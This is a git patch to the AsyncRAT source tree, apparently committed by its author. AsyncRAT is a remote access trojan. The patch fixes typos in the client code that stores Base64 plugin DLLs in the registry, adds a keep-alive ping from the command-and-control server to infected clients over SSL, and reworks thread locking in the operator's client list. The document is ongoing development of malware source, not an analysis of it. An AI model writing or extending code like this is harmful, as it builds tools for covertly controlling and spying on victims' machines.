From 468a9b8e7db96f20ccfa9d13907eb14ff82432f3 Mon Sep 17 00:00:00 2001
From: NYAN CAT <NYANxCAT@pm.me>
Date: Mon, 7 Oct 2019 11:04:39 +0300
Subject: [PATCH] Update

---
 AsyncRAT-C#/Client/Handle Packet/Packet.cs |  4 +--
 AsyncRAT-C#/Server/Connection/Clients.cs   | 26 +++++++++++++++++--
 AsyncRAT-C#/Server/Forms/Form1.cs          | 29 +++++++++++-----------
 3 files changed, 40 insertions(+), 19 deletions(-)

diff --git a/AsyncRAT-C#/Client/Handle Packet/Packet.cs b/AsyncRAT-C#/Client/Handle Packet/Packet.cs
index a342ef6..231fd03 100644
--- a/AsyncRAT-C#/Client/Handle Packet/Packet.cs	
+++ b/AsyncRAT-C#/Client/Handle Packet/Packet.cs	
@@ -44,7 +44,7 @@ namespace Client.Handle_Packet
                     case "savePlugin": // save plugin as MD5:Base64
                         {
                             SetRegistry.SetValue(unpack_msgpack.ForcePathObject("Hash").AsString, unpack_msgpack.ForcePathObject("Dll").AsString);
-                            Debug.WriteLine("plguin saved");
+                            Debug.WriteLine("plugin saved");
                             break;
                         }
 
@@ -56,7 +56,7 @@ namespace Client.Handle_Packet
                                 if (SetRegistry.GetValue(plugin) == null)
                                 {
                                     plugins.Add(plugin);
-                                    Debug.WriteLine("plguin not found");
+                                    Debug.WriteLine("plugin not found");
                                 }
                             }
                             if (plugins.Count > 0)
diff --git a/AsyncRAT-C#/Server/Connection/Clients.cs b/AsyncRAT-C#/Server/Connection/Clients.cs
index 6a0e830..3077dfb 100644
--- a/AsyncRAT-C#/Server/Connection/Clients.cs
+++ b/AsyncRAT-C#/Server/Connection/Clients.cs
@@ -26,11 +26,12 @@ namespace Server.Connection
         private int ClientBuffersize { get; set; }
         private bool ClientBufferRecevied { get; set; }
         private MemoryStream ClientMS { get; set; }
-        public object SendSync { get; } = new object();
+        public object SendSync { get; set; }
         public long BytesRecevied { get; set; }
 
         public Clients(Socket socket)
         {
+            SendSync = new object();
             TcpClient = socket;
             SslClient = new SslStream(new NetworkStream(TcpClient, true), false);
             SslClient.BeginAuthenticateAsServer(Settings.ServerCertificate, false, SslProtocols.Tls, false, EndAuthenticate, null);
@@ -122,7 +123,7 @@ namespace Server.Connection
         {
             if (LV != null)
             {
-                Program.form1.BeginInvoke((MethodInvoker)(() =>
+                Program.form1.Invoke((MethodInvoker)(() =>
                 {
                     try
                     {
@@ -268,5 +269,26 @@ namespace Server.Connection
             }
         }
 
+        public void KeepAlivePacket(object o)
+        {
+            lock (SendSync)
+            {
+                try
+                {
+                    MsgPack msgpack = new MsgPack();
+                    msgpack.ForcePathObject("Packet").AsString = "Ping";
+                    msgpack.ForcePathObject("Message").AsString = "This is a ping!";
+                    byte[] buffer = msgpack.Encode2Bytes();
+                    byte[] buffersize = BitConverter.GetBytes(buffer.Length);
+                    SslClient.Write(buffersize, 0, buffersize.Length);
+                    SslClient.Write(buffer, 0, buffer.Length);
+                    SslClient.Flush();
+                }
+                catch
+                {
+                    Disconnected();
+                }
+            }
+        }
     }
 }
diff --git a/AsyncRAT-C#/Server/Forms/Form1.cs b/AsyncRAT-C#/Server/Forms/Form1.cs
index 69ea3aa..28223e7 100644
--- a/AsyncRAT-C#/Server/Forms/Form1.cs
+++ b/AsyncRAT-C#/Server/Forms/Form1.cs
@@ -69,43 +69,42 @@ namespace Server
                 MessageBox.Show(ex.Message, "AsyncRAT", MessageBoxButtons.OK, MessageBoxIcon.Error);
             }
         }
-
-
         private Clients[] GetSelectedClients()
         {
-            lock (Settings.LockListviewClients)
+
+            List<Clients> clientsList = new List<Clients>();
+            Invoke((MethodInvoker)(() =>
             {
-                List<Clients> clientsList = new List<Clients>();
-                Invoke((MethodInvoker)(() =>
+                lock (Settings.LockListviewClients)
                 {
                     if (listView1.SelectedItems.Count == 0) return;
                     foreach (ListViewItem itm in listView1.SelectedItems)
                     {
                         clientsList.Add((Clients)itm.Tag);
                     }
-                }));
-                return clientsList.ToArray();
-            }
+                }
+            }));
+            return clientsList.ToArray();
         }
 
         private Clients[] GetAllClients()
         {
-            lock (Settings.LockListviewClients)
+
+            List<Clients> clientsList = new List<Clients>();
+            Invoke((MethodInvoker)(() =>
             {
-                List<Clients> clientsList = new List<Clients>();
-                Invoke((MethodInvoker)(() =>
+                lock (Settings.LockListviewClients)
                 {
                     if (listView1.Items.Count == 0) return;
                     foreach (ListViewItem itm in listView1.Items)
                     {
                         clientsList.Add((Clients)itm.Tag);
                     }
-                }));
-                return clientsList.ToArray();
-            }
+                }
+            }));
+            return clientsList.ToArray();
         }
 
-
         private void Connect()
         {
             try